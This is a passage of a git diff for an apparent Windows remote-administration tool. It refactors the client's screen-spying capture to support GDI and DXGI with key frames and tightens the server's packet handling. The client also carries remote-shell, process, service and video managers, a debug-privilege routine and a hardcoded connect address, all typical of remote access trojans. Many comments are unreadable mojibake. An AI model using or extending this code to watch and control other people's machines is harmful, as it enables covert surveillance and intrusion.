"Manager.h" #include "ScreenSpy.h" +#include "ScreenCapture.h" class IOCPClient; class CScreenManager : public CManager { public: - char* szBuffer; - CScreenManager(IOCPClient* ClientObject, int n); + CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr); virtual ~CScreenManager(); HANDLE m_hWorkThread; @@ -26,7 +26,7 @@ public: VOID SendBitMapInfo(); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - CScreenSpy* m_ScreenSpyObject; + ScreenCapture* m_ScreenSpyObject; VOID SendFirstScreen(); const char* GetNextScreen(ULONG &ulNextSendLength); VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength); diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp index 3868461..55b962a 100644 --- a/client/ScreenSpy.cpp +++ b/client/ScreenSpy.cpp @@ -11,25 +11,11 @@ // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CScreenSpy::CScreenSpy(ULONG ulbiBitCount) +CScreenSpy::CScreenSpy(ULONG ulbiBitCount, int gop) : ScreenCapture() { + m_GOP = gop; m_bAlgorithm = ALGORITHM_DIFF; - m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16; - - //::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)ȡĻС׼ - //統ĻʾΪ125%ʱȡĻСҪ1.25Ŷ - DEVMODE devmode; - memset(&devmode, 0, sizeof (devmode)); - devmode.dmSize = sizeof(DEVMODE); - devmode.dmDriverExtra = 0; - BOOL Isgetdisplay = EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &devmode); - m_ulFullWidth = devmode.dmPelsWidth; - m_ulFullHeight = devmode.dmPelsHeight; - int w = ::GetSystemMetrics(SM_CXSCREEN), h = ::GetSystemMetrics(SM_CYSCREEN); - m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight); - m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h; - Mprintf("=> ű: %.2f, %.2f\tֱʣ%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight); - m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom; + int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16; m_BitmapInfor_Full = new BITMAPINFO(); memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO)); @@ -50,6 +36,7 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount) m_hFullMemDC = CreateCompatibleDC(m_hFullDC); m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); ::SelectObject(m_hFullMemDC, m_BitmapHandle); + m_FirstBuffer = (LPBYTE)m_BitmapData_Full; m_DiffBitmapData_Full = NULL; m_hDiffMemDC = CreateCompatibleDC(m_hFullDC); @@ -104,49 +91,16 @@ CScreenSpy::~CScreenSpy() m_RectBufferOffset = 0; } -LPVOID CScreenSpy::GetFirstScreenData() +LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength) { //ڴԭ豸иλͼĿ豸 ::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY); - return m_BitmapData_Full; //ڴ -} + m_RectBuffer[0] = TOKEN_FIRSTSCREEN; + memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage); + *ulFirstScreenLength = m_BitmapInfor_Full->bmiHeader.biSizeImage; -// 㷨+λ+ -LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength) -{ - // rectָ - m_RectBufferOffset = 0; - - // дʹ㷨 - WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm)); - - // дλ - POINT CursorPos; - GetCursorPos(&CursorPos); - CursorPos.x /= m_wZoom; - CursorPos.y /= m_hZoom; - WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT)); - - // д뵱ǰ - static CCursorInfo m_CursorInfor; - BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex(); - WriteRectBuffer(&bCursorIndex, sizeof(BYTE)); - - // Ƚ㷨 - if (m_bAlgorithm == ALGORITHM_DIFF) - { - // ֶɨȫĻ µλͼ뵽m_hDiffMemDC - ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); - - //BitбȽһ޸m_lpvFullBitsеķ - *ulNextSendLength = m_RectBufferOffset + CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full, - m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage); - - return m_RectBuffer; - } - - return NULL; + return m_RectBuffer; //ڴ } @@ -172,45 +126,3 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei } #endif } - - -ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength) -{ - AUTO_TICK(20); - // Windows涨һɨռֽ4ı, DWORDȽ - LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData; - // ƫƵƫƣͬȵƫ - ULONG ulszBufferOffset = 0, ulv1 = 0, ulv2 = 0, ulCount = 0; - for (int i = 0; i < ulCompareLength; i += 4, ++p1, ++p2) - { - if (*p1 == *p2) - continue; - - *(LPDWORD)(szBuffer + ulszBufferOffset) = i; - // ¼ݴСĴλ - ulv1 = ulszBufferOffset + sizeof(int); - ulv2 = ulv1 + sizeof(int); - ulCount = 0; // ݼ - - // Destе - *p1 = *p2; - *(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2; - - ulCount += 4; - i += 4, p1++, p2++; - for (int j = i; j < ulCompareLength; j += 4, i += 4, ++p1, ++p2) - { - if (*p1 == *p2) - break; - // Destе - *p1 = *p2; - *(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2; - ulCount += 4; - } - // дݳ - *(LPDWORD)(szBuffer + ulv1) = ulCount; - ulszBufferOffset = ulv2 + ulCount; - } - - return ulszBufferOffset; -} diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h index 64bfa85..154dc71 100644 --- a/client/ScreenSpy.h +++ b/client/ScreenSpy.h @@ -8,25 +8,15 @@ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 -#define ALGORITHM_DIFF 1 + #define COPY_ALL 1 // ȫĻֿ鿽added by yuanyuanxiang 2019-1-7 #include "CursorInfo.h" +#include "ScreenCapture.h" -class CScreenSpy +class CScreenSpy : public ScreenCapture { private: - BYTE m_bAlgorithm; // Ļ㷨 - ULONG m_ulbiBitCount; // ÿλ - - ULONG m_ulFullWidth; // Ļ - ULONG m_ulFullHeight; //Ļ - bool m_bZoomed; // Ļ - double m_wZoom; // Ļű - double m_hZoom; // Ļű - - LPBITMAPINFO m_BitmapInfor_Full; // BMPϢ - HWND m_hDeskTopWnd; //ǰĴھ HDC m_hFullDC; //Explorer.exe Ĵ豸DC @@ -39,10 +29,9 @@ private: PVOID m_DiffBitmapData_Full; ULONG m_RectBufferOffset; // λ - BYTE* m_RectBuffer; // public: - CScreenSpy(ULONG ulbiBitCount); + CScreenSpy(ULONG ulbiBitCount, int gop = DEFAULT_GOP); virtual ~CScreenSpy(); @@ -82,11 +71,12 @@ public: m_RectBufferOffset += ulLength; } - LPVOID GetFirstScreenData(); + virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength); - LPVOID GetNextScreenData(ULONG* ulNextSendLength); - - ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength); + virtual LPBYTE ScanNextScreen() { + ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); + return (LPBYTE)m_DiffBitmapData_Full; + } VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight); diff --git a/client/ServicesManager.cpp b/client/ServicesManager.cpp index 9a84cc5..084d621 100644 --- a/client/ServicesManager.cpp +++ b/client/ServicesManager.cpp @@ -10,7 +10,7 @@ // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CServicesManager::CServicesManager(IOCPClient* ClientObject, int n):CManager(ClientObject) +CServicesManager::CServicesManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { SendServicesList(); } diff --git a/client/ServicesManager.h b/client/ServicesManager.h index cbdbe5a..02ccde1 100644 --- a/client/ServicesManager.h +++ b/client/ServicesManager.h @@ -14,7 +14,7 @@ class CServicesManager : public CManager { public: - CServicesManager(IOCPClient* ClientObject, int n); + CServicesManager(IOCPClient* ClientObject, int n, void* user = nullptr); virtual ~CServicesManager(); VOID SendServicesList(); LPBYTE GetServicesList(); diff --git a/client/ShellManager.cpp b/client/ShellManager.cpp index 75b6ae5..b20049c 100644 --- a/client/ShellManager.cpp +++ b/client/ShellManager.cpp @@ -14,7 +14,7 @@ using namespace std; BOOL bStarting = TRUE; -CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject) +CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { m_nCmdLength = 0; bStarting = TRUE; diff --git a/client/ShellManager.h b/client/ShellManager.h index b9f5bb5..c9dbdec 100644 --- a/client/ShellManager.h +++ b/client/ShellManager.h @@ -15,7 +15,7 @@ class CShellManager : public CManager { public: - CShellManager(IOCPClient* ClientObject, int n); + CShellManager(IOCPClient* ClientObject, int n, void* user = nullptr); HANDLE m_hReadPipeHandle; HANDLE m_hWritePipeHandle; diff --git a/client/StdAfx.h b/client/StdAfx.h index 0342535..e52ded1 100644 --- a/client/StdAfx.h +++ b/client/StdAfx.h @@ -94,3 +94,11 @@ public: #define AUTO_TICK(thresh) #define STOP_TICK #endif + +#ifndef SAFE_DELETE +#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;} +#endif + +#ifndef SAFE_DELETE_ARRAY +#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;} +#endif diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp index e752426..01beebd 100644 --- a/client/SystemManager.cpp +++ b/client/SystemManager.cpp @@ -26,7 +26,7 @@ enum // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow):CManager(ClientObject) +CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user):CManager(ClientObject) { if (bHow==COMMAND_SYSTEM) { diff --git a/client/SystemManager.h b/client/SystemManager.h index 40616b1..6b00f63 100644 --- a/client/SystemManager.h +++ b/client/SystemManager.h @@ -15,7 +15,7 @@ class CSystemManager : public CManager { public: - CSystemManager(IOCPClient* ClientObject,BOOL bHow); + CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user = nullptr); virtual ~CSystemManager(); LPBYTE GetProcessList(); VOID SendProcessList(); diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp index 4136159..a757b67 100644 --- a/client/TalkManager.cpp +++ b/client/TalkManager.cpp @@ -27,7 +27,7 @@ IOCPClient* g_IOCPClientObject = NULL; extern HINSTANCE g_hInstance; -CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObject) +CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { BYTE bToken = TOKEN_TALK_START; //ͷļ Common.h m_ClientObject->OnServerSending((char*)&bToken, 1); diff --git a/client/TalkManager.h b/client/TalkManager.h index 8c57ea3..2b517f0 100644 --- a/client/TalkManager.h +++ b/client/TalkManager.h @@ -14,7 +14,7 @@ class CTalkManager : public CManager { public: - CTalkManager(IOCPClient* ClientObject, int n); + CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr); virtual ~CTalkManager(); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp index 62c1811..510894b 100644 --- a/client/VideoManager.cpp +++ b/client/VideoManager.cpp @@ -11,7 +11,7 @@ // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientObject) +CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject) { m_bIsWorking = TRUE; diff --git a/client/VideoManager.h b/client/VideoManager.h index 3442354..6502a24 100644 --- a/client/VideoManager.h +++ b/client/VideoManager.h @@ -16,7 +16,7 @@ class CVideoManager : public CManager { public: - CVideoManager(IOCPClient* ClientObject, int n) ; + CVideoManager(IOCPClient* ClientObject, int n, void* user = nullptr) ; virtual ~CVideoManager(); BOOL m_bIsWorking; diff --git a/client/test.cpp b/client/test.cpp index c5aa1d9..d27668e 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -25,7 +25,7 @@ IsExit bExit = NULL; BOOL status = 0; -CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "", 0, CLIENT_TYPE_DLL }; +CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", 6543, CLIENT_TYPE_DLL }; //Ȩ void DebugPrivilege() diff --git a/common/commands.h b/common/commands.h index 3754b3c..7693a14 100644 --- a/common/commands.h +++ b/common/commands.h @@ -1,8 +1,8 @@ #pragma once -#include #include #include +#include #ifndef _MAX_PATH #define _MAX_PATH 260 @@ -133,6 +133,7 @@ enum COMMAND_SERVICECONFIG, // ˷ıʶ TOKEN_TALK_START, // ʱϢʼ TOKEN_TALKCMPLT, // ʱϢط + TOKEN_KEYFRAME, // ؼ֡ TOKEN_REGEDIT = 200, // ע COMMAND_REG_FIND, // ע ʶ TOKEN_REG_KEY, @@ -209,3 +210,34 @@ inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector< } } } + +#ifdef _DEBUG +// Ϊ˽ԶĻĺ꣬ʱʹãʽ汾û +#define SCREENYSPY_IMPROVE 0 +#define SCREENSPY_WRITE 0 +#endif + +// ڴеλͼдļ +inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1) { + char path[_MAX_PATH]; + if (filePrefix.size() >= 4 && filePrefix.substr(filePrefix.size() - 4) == ".bmp") { + strcpy_s(path, filePrefix.c_str()); + } + else { + sprintf_s(path, ".\\bmp\\%s_%d.bmp", filePrefix.c_str(), index == -1 ? clock() : index); + } + FILE* File = fopen(path, "wb"); + if (File) { + BITMAPFILEHEADER fileHeader = { 0 }; + fileHeader.bfType = 0x4D42; // "BM" + fileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpInfo->bmiHeader.biSizeImage; + fileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER); + + fwrite(&fileHeader, 1, sizeof(BITMAPFILEHEADER), File); + fwrite(&bmpInfo->bmiHeader, 1, sizeof(BITMAPINFOHEADER), File); + fwrite(bmpData, 1, bmpInfo->bmiHeader.biSizeImage, File); + fclose(File); + return true; + } + return false; +} diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index cd49add..a87c7da 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 15825a7..b22c8a5 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -714,6 +714,10 @@ char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) { void CMy2015RemoteDlg::OnOnlineUpdate() { + if (IDYES != MessageBox(_T("ȷѡıس?\nܿسַ֧Ч!"), + _T("ʾ"), MB_ICONQUESTION | MB_YESNO)) + return; + char path[_MAX_PATH], * p = path; GetModuleFileNameA(NULL, path, sizeof(path)); while (*p) ++p; @@ -775,9 +779,10 @@ VOID CMy2015RemoteDlg::OnOnlineWindowManager() VOID CMy2015RemoteDlg::OnOnlineDesktopManager() -{ - BYTE bToken = COMMAND_SCREEN_SPY; - SendSelectedCommand(&bToken, sizeof(BYTE)); +{ + int n = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "DXGI"); + BYTE bToken[2] = { COMMAND_SCREEN_SPY, n }; + SendSelectedCommand(bToken, sizeof(bToken)); } VOID CMy2015RemoteDlg::OnOnlineFileManager() diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index a454209..c46b74e 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -6,7 +6,7 @@ #include #if USING_ZLIB -#include "zlib.h" +#include "zlib/zlib.h" #define Z_FAILED(p) (Z_OK != (p)) #define Z_SUCCESS(p) (!Z_FAILED(p)) #else @@ -359,7 +359,6 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam) timeBeginPeriod(1); while (This->m_bTimeToKill==FALSE) { - AUTO_TICK(40); InterlockedDecrement(&This->m_ulBusyThread); // GetQueuedCompletionStatusʱȽϳ¿ͻ˷ݵ߲ BOOL bOk = GetQueuedCompletionStatus( @@ -367,7 +366,6 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam) &dwTrans, (PULONG_PTR)&ContextObject, &Overlapped, INFINITE); - STOP_TICK; DWORD dwIOError = GetLastError(); OverlappedPlus = CONTAINING_RECORD(Overlapped, OVERLAPPEDPLUS, m_ol); ulBusyThread = InterlockedIncrement(&This->m_ulBusyThread); //1 1 @@ -500,20 +498,23 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans { char szPacketFlag[FLAG_LENGTH + 3]= {0}; // 8ֽڶ ContextObject->InCompressedBuffer.CopyBuffer(szPacketFlag, FLAG_LENGTH, 0); - if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) - throw "Bad Buffer"; + if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) { + ContextObject->InCompressedBuffer.ClearBuffer(); + break; + } //Shine[50][kdjfkdjfkj] ULONG ulPackTotalLength = 0; ContextObject->InCompressedBuffer.CopyBuffer(&ulPackTotalLength, sizeof(ULONG), FLAG_LENGTH); - //ȡݰܳ - //50 - if (ulPackTotalLength && (ContextObject->InCompressedBuffer.GetBufferLength()) >= ulPackTotalLength) + //ȡݰܳ5ֽڱʶ+4ֽݰܳ+4ֽԭʼݳ + int bufLen = ContextObject->InCompressedBuffer.GetBufferLength(); + if (ulPackTotalLength && bufLen >= ulPackTotalLength) { ULONG ulOriginalLength = 0; ContextObject->InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH); ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG)); ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG)); + // TRACE("ulPackTotalLength: %d, ulOriginalLength: %d\n", ulPackTotalLength, ulOriginalLength); ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; //461 - 13 448 PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; //ûнѹ //ݰǰԴûнѹȡpData 448 @@ -528,7 +529,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans if (Z_SUCCESS(iRet)) { ContextObject->InDeCompressedBuffer.ClearBuffer(); - ContextObject->InCompressedBuffer.ClearBuffer(); + //ContextObject->InCompressedBuffer.ClearBuffer(); ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength); m_NotifyProc(ContextObject); //֪ͨ }else{ @@ -547,15 +548,14 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans break; } } - PostRecv(ContextObject); //ͶµĽݵ }catch(...) { OutputDebugStringA("[ERROR] OnClientReceiving catch an error \n"); ContextObject->InCompressedBuffer.ClearBuffer(); ContextObject->InDeCompressedBuffer.ClearBuffer(); - - PostRecv(ContextObject); } + PostRecv(ContextObject); //ͶµĽݵ + return TRUE; } @@ -563,7 +563,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe { assert (ContextObject); // ͵ - if (ulOriginalLength < 100) { + if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL) { char buf[100] = { 0 }; if (ulOriginalLength == 1){ sprintf_s(buf, "command %d", int(szBuffer[0])); diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 7dd8c5c..148bcc0 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -30,6 +30,7 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog) CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) : CDialog(CScreenSpyDlg::IDD, Parent) { + m_FrameID = 0; ImmDisableIME(0);// 禁用输入法 m_bFullScreen = FALSE; @@ -176,8 +177,8 @@ VOID CScreenSpyDlg::OnClose() VOID CScreenSpyDlg::OnReceiveComplete() { assert (m_ContextObject); - - switch(m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) + auto cmd = m_ContextObject->InDeCompressedBuffer.GetBYTE(0); + switch(cmd) { case TOKEN_FIRSTSCREEN: { @@ -188,16 +189,25 @@ VOID CScreenSpyDlg::OnReceiveComplete() { if (m_ContextObject->InDeCompressedBuffer.GetBYTE(1)==ALGORITHM_DIFF) { - DrawNextScreenDiff(); + DrawNextScreenDiff(false); } break; } + case TOKEN_KEYFRAME: { + if (!m_bIsFirst) { + DrawNextScreenDiff(true); + } + break; + } case TOKEN_CLIPBOARD_TEXT: { Buffer str = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1); UpdateServerClipboard(str.c_str(), str.length()); break; } + default: { + TRACE("CScreenSpyDlg unknown command: %d!!!\n", int(cmd)); + } } } @@ -211,13 +221,24 @@ VOID CScreenSpyDlg::DrawFirstScreen(void) PostMessage(WM_PAINT);//触发WM_PAINT消息 } -VOID CScreenSpyDlg::DrawNextScreenDiff(void) +VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame) { //该函数不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用 //OnPaint画上去 //根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁 BOOL bChange = FALSE; ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标 位置 + 光标类型索引 +#if SCREENYSPY_IMPROVE + int frameID = -1; + memcpy(&frameID, m_ContextObject->InDeCompressedBuffer.GetBuffer(ulHeadLength), sizeof(int)); + ulHeadLength += sizeof(int); + if (++m_FrameID != frameID) { + TRACE("DrawNextScreenDiff [%d] bmp is lost from %d\n", frameID-m_FrameID, m_FrameID); + m_FrameID = frameID; + } +#else + m_FrameID++; +#endif LPVOID FirstScreenData = m_BitmapData_Full; LPVOID NextScreenData = m_ContextObject->InDeCompressedBuffer.GetBuffer(ulHeadLength); ULONG NextScreenLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - ulHeadLength; @@ -254,12 +275,25 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(void) BYTE algorithm = m_ContextObject->InDeCompressedBuffer.GetBYTE(1); LPBYTE dst = (LPBYTE)FirstScreenData, p = (LPBYTE)NextScreenData; - for (LPBYTE end = p + NextScreenLength; p < end; ) { - ULONG ulCount = *(LPDWORD(p + sizeof(ULONG))); - memcpy(dst + *(LPDWORD)p, p + 2 * sizeof(ULONG), ulCount); - - p += 2 * sizeof(ULONG) + ulCount; + if (keyFrame) + { + if (m_BitmapInfor_Full->bmiHeader.biSizeImage == NextScreenLength) + memcpy(dst, p, m_BitmapInfor_Full->bmiHeader.biSizeImage); } + else if (0 != NextScreenLength) { + for (LPBYTE end = p + NextScreenLength; p < end; ) { + ULONG ulCount = *(LPDWORD(p + sizeof(ULONG))); + memcpy(dst + *(LPDWORD)p, p + 2 * sizeof(ULONG), ulCount); + + p += 2 * sizeof(ULONG) + ulCount; + } + } + +#if SCREENSPY_WRITE + if (!WriteBitmap(m_BitmapInfor_Full, m_BitmapData_Full, "YAMA", frameID)) { + TRACE("WriteBitmap [%d] failed!!!\n", frameID); + } +#endif if (bChange) { @@ -447,31 +481,7 @@ BOOL CScreenSpyDlg::SaveSnapshot(void) if(Dlg.DoModal () != IDOK) return FALSE; - BITMAPFILEHEADER BitMapFileHeader; - LPBITMAPINFO BitMapInfor = m_BitmapInfor_Full; //1920 1080 1 0000 - CFile File; - if (!File.Open( Dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) - { - return FALSE; - } - - // BITMAPINFO大小 - //+ (BitMapInfor->bmiHeader.biBitCount > 16 ? 1 : (1 << BitMapInfor->bmiHeader.biBitCount)) * sizeof(RGBQUAD) - //bmp fjkdfj dkfjkdfj [][][][] - int nbmiSize = sizeof(BITMAPINFO); - - //协议 TCP 校验值 - BitMapFileHeader.bfType = ((WORD) ('M' << 8) | 'B'); - BitMapFileHeader.bfSize = BitMapInfor->bmiHeader.biSizeImage + sizeof(BitMapFileHeader); //8421 - BitMapFileHeader.bfReserved1 = 0; //8000 - BitMapFileHeader.bfReserved2 = 0; - BitMapFileHeader.bfOffBits = sizeof(BitMapFileHeader) + nbmiSize; - - File.Write(&BitMapFileHeader, sizeof(BitMapFileHeader)); - File.Write(BitMapInfor, nbmiSize); - - File.Write(m_BitmapData_Full, BitMapInfor->bmiHeader.biSizeImage); - File.Close(); + WriteBitmap(m_BitmapInfor_Full, m_BitmapData_Full, Dlg.GetPathName().GetBuffer()); return true; } diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h index cbec154..e710202 100644 --- a/server/2015Remote/ScreenSpyDlg.h +++ b/server/2015Remote/ScreenSpyDlg.h @@ -23,7 +23,7 @@ public: PVOID m_BitmapData_Full; LPBITMAPINFO m_BitmapInfor_Full; VOID DrawFirstScreen(void); - VOID DrawNextScreenDiff(void); + VOID DrawNextScreenDiff(bool keyFrame); BOOL m_bIsFirst; ULONG m_ulHScrollPos; ULONG m_ulVScrollPos; @@ -45,6 +45,7 @@ public: LPBYTE m_szData; BOOL m_bSend; ULONG m_ulMsgCount; + int m_FrameID; BOOL SaveSnapshot(void); // Ի diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp index bec4317..26a856d 100644 --- a/server/2015Remote/SettingDlg.cpp +++ b/server/2015Remote/SettingDlg.cpp @@ -15,6 +15,7 @@ CSettingDlg::CSettingDlg(CWnd* pParent) : CDialog(CSettingDlg::IDD, pParent) , m_nListenPort(0) , m_nMax_Connect(0) + , m_sScreenCapture(_T("GDI")) { } @@ -28,6 +29,9 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX) DDX_Text(pDX, IDC_EDIT_PORT, m_nListenPort); DDX_Text(pDX, IDC_EDIT_MAX, m_nMax_Connect); DDX_Control(pDX, IDC_BUTTON_SETTINGAPPLY, m_ApplyButton); + DDX_Control(pDX, IDC_COMBO_SCREEN_CAPTURE, m_ComboScreenCapture); + DDX_CBString(pDX, IDC_COMBO_SCREEN_CAPTURE, m_sScreenCapture); + DDV_MaxChars(pDX, m_sScreenCapture, 32); } BEGIN_MESSAGE_MAP(CSettingDlg, CDialog) @@ -48,9 +52,15 @@ BOOL CSettingDlg::OnInitDialog() //ȡini ļеļ˿ int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection"); + int DXGI = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "DXGI"); + m_nListenPort = (nPort<=0 || nPort>65535) ? 6543 : nPort; m_nMax_Connect = nMaxConnection<=0 ? 10000 : nMaxConnection; + m_ComboScreenCapture.InsertString(0, "GDI"); + m_ComboScreenCapture.InsertString(1, "DXGI"); + m_sScreenCapture = DXGI ? "DXGI" : "GDI"; + UpdateData(FALSE); return TRUE; @@ -64,6 +74,9 @@ void CSettingDlg::OnBnClickedButtonSettingapply() //iniļдֵ ((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("settings", "MaxConnection", m_nMax_Connect); + int n = m_ComboScreenCapture.GetCurSel(); + ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.SetInt("settings", "DXGI", n); + m_ApplyButton.EnableWindow(FALSE); m_ApplyButton.ShowWindow(SW_HIDE); } diff --git a/server/2015Remote/SettingDlg.h b/server/2015Remote/SettingDlg.h index a75622e..bc2e430 100644 --- a/server/2015Remote/SettingDlg.h +++ b/server/2015Remote/SettingDlg.h @@ -28,4 +28,6 @@ public: afx_msg void OnEnChangeEditMax(); CButton m_ApplyButton; virtual void OnOK(); + CComboBox m_ComboScreenCapture; + CString m_sScreenCapture; }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 8e56c9a..ce2734a 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 8818206..a34f0e7 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -5,8 +5,6 @@ #pragma once -#include "common/commands.h" - // ʹѹ㷨㷨Ҫclienstdafx.hƥ #define 